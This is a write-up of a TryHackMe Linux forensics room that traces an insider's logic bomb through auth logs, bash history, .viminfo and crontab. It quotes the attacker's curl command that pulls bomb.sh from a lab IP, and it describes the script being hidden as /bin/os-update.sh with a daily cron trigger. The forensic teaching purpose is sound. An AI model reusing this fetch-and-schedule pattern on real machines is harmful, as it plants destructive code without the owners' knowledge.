Linux Forensics - Disgruntled
“Logic Bomb”

Linux challenge via TryHackme:

In this room, the goal is to investigate an employee from the IT department of a client (CyberT) who was running a phishing operation.

1. **The user installed a package on the machine using elevated privileges. According to the logs, what is the full COMMAND?**
- Using `-grep -i COMMAND /var/log/auth.log` the answer is:

/usr/bin/apt install dokuwiki

2. **What was the present working directory (PWD) when the previous command was run?**
- Looking further into the auth.log at the previous command, the answer is:

/home/cybert

The disgruntled IT was supposed to only install a service on this computer, so look for commands that are unrelated to that.

1. **Which user was created after the package from the previous task was installed?**
- Further looking at the command log, the answer is:

it-admin

2. **A user was then later given sudo privileges. When was the sudoers file updated?**
- In the command log, I searched for /etc/sudoers to find the timestamp:

Dec 28 06:27:34

3. **A script file was opened using the "vi" text editor. What is the name of this file?**
- Still in the command log, I look for vi in the command log to find the answer:

bomb.sh

While a file is already incriminating in itself, we still need to find out where it came from and what it contains. The problem is that the file does not exist anymore.

1. **What is the command used that created the file bomb.sh?**
- Looking at the ".bash_history" found in the home directory of *it-admin* using `cat`, the answer is:

curl 10.10.158.38:8080/bomb.sh –output bomb.sh
(note that `ls -a` will show hidden files, as `ls` will not print anything)

Linux Forensics - Disgruntled
"Logic Bomb"

2. **The file was renamed and moved to a different directory. What is the full path of this file now?**
- I used `cat` on .viminfo to find the answer:

/bin/os-update.sh

3. **When was the file from the previous question last modified?**
- I used the command `ls -al --full-time` on the previous file *os-update.sh* to find the answer:

Dec 28 06:29

4. **What is the name of the file that will get created when the file from the first question executes?**
- Again, using `cat` on os-update.sh gave me the answer:

goodbye.txt

So we have a file and a motive. The question we now have is: how will this file be executed? Surely, he wants it to execute at some point?

1. **At what time will the malicious file trigger?**
- Navigating to */etc/crontab* and using `cat` once again, I find the malicious filename and pulled the schedule expression *0 8 * * ** and then used the website https://crontab.guru to convert for the answer:

08:00 AM

This room was pretty easy overall and I didn't need any walkthroughs for reference, plus it was good practice on some basic linux forensics. Thank you!